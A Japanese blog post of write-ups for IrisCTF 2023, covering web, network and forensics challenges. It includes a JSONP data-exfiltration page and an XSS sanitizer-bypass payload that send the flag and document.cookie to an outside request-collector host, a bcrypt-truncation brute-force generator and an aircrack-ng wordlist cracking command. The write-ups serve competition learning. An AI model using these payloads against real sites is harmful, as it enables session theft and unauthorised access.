はまやんはまやんはまやん

hamayanhamayan's blog

IrisCTF 2023 Writeups

[web] babycsrf

jsonpでフラグが落ちてくるendpointがあるので、その中身を回収するようなxssサイトを書いてやる。
提供コードを参考にして、以下のように書く。
https://babycsrf-web.chal.irisc.tf/apiを取得するときは、オリジンはbabycsrfのものになるので適切なCookieが使用される。
(俗にいう3rd party cookie
jsonpで読み込めば、オリジンをまたいでデータを参照可能なので、あとは適当に外部送信してやればいい。

<!DOCTYPE html>
<html>
    <body>
        <script>
window.setMessage = (m) => {
    window.location.href='https://[yours].requestcatcher.com/test?get='+m;
}
window.onload = () => {
    s = document.createElement("script");
    s.src = "https://babycsrf-web.chal.irisc.tf/api";
    document.body.appendChild(s);
}
        </script>
    </body>
</html>

[web] babystrechy

https://www.php.net/manual/en/function.password-hash.php
PASSWORD_BCRYPTをアルゴリズムとして 使用すると、passwordパラメーターが最大長の 72 バイトに切り捨てられます。

これは使えそう。
hexの各文字が64倍にされているが、先頭の72文字しか使われていないので、[1文字目]*64+[2文字目]*8のような構成になっている。
1文字目と2文字目は[0-9a-f]なので、全探索が可能。
しかも複数個送れるので以下のようにして全通りを辞書として作って一気に送ってやればいい。

<?php
$chars = "0123456789abcdef";
for ($i=0; $i<16; $i++) {
    for ($j=0; $j<16; $j++) {
        $pass = str_repeat($chars[$i],64) . str_repeat($chars[$j], 8);
        echo $pass . "\n";
    }
}

全部一気に送り付けるとフラグが出てくる。

[web] Feeling Tagged

BeautifulSoupを使ってサニタイズ機能を実装している。
適当にbypassできそうなコードを探して試すとたまたま通った。

<![CDATA["><script>alert("XSS")</script><!--]]>

あとはXSSするだけ。
fetch(https://[yours].requestcatcher.com/test${document.cookie});
をalertの代わりに入れて、/page?のアドレスを踏ませればフラグが得られる。

[network] babyshark

とりあえずプロトコル階層を出してみるとCompuserve GIFというのがあるので、エキスパート解析でHTTPを選んでみる。
babyshark.gifという画像があるので、取り出してみてみるとフラグが書いてある。
サメちゃんが踊っている。

[network] wi-the-fi

aircrackしてみるとパスワードが手に入る
aircrack-ng -w /usr/share/wordlists/rockyou.txt ./BobertsonNet.cap

      Time left: 23 minutes, 7 seconds                           0.13%

                           KEY FOUND! [ billybob1 ]

これを以下にあるような感じで設定に入れると通信が復号化される。
https://anilcelik.medium.com/en-defcon-27-advanced-wireless-exploitation-workshop-ctf-write-up-f787b0899256

この状態でプロトコル階層統計を見ると、いろいろ通信がわかるようになる。
TCPで流れているものを漁っていくと、20422番目のパケットにフラグがあった。

[forensics] babyforens

画像から以下の情報を抜き出して、
irisctf{latitude_longitude_epochtime_serial_secret}
の形で答える必要がある。

緯度経度

exiftoolでの出力を変換すればいい。

GPS Latitude                    : 37 deg 44' 49.46" N
GPS Longitude                   : 119 deg 35' 46.77" W

37.74707222
-119.59632500
っぽいので、

37.74_-119.59

epochtime

作成時間を変換すればいいのかな?exiftoolで同様にみられる。

Create Date                     : 2022:08:27 10:04:56

撮影場所はアメリカのカリフォルニアであることもexiftoolから分かる。
ここは検索するとGMT-8らしい。
つまり、2022:08:27 10:04:56 (GMT-8)
なので、UTCに直すには+8時間してやる必要がある。
つまり、2022:08:27 18:04:56 (GMT+0)
これをepochtimeにすると、1661623496だが、ダメ。うーん。

もしかして時期的にサマータイム????

さらに-1時間したら正解だった。
つまり、2022:08:27 17:04:56 (GMT+0)をepochtimeにした1661619896が正解。

serial

これもexiftoolで見る。

$ exiftool IMG_0917.jpg | grep Serial
Internal Serial Number          : RL2218903
Serial Number                   : 392075057288
Lens Serial Number              : 0000000000

いくつかあるが、Serial Numberが答え。

secret

secret???
問題文を見るとわざとファイルを壊してあるらしい。
普通のjpgをバイナリエディタを使って比較してみると、先頭が一部0埋めされていた。
先頭10バイトをFF D8 FF E0 00 10 4A 46 49 46のように戻してやると普通にみられるようになる。
secretの内容が書いてあった。
exif_data_can_leak_a_lot_of_info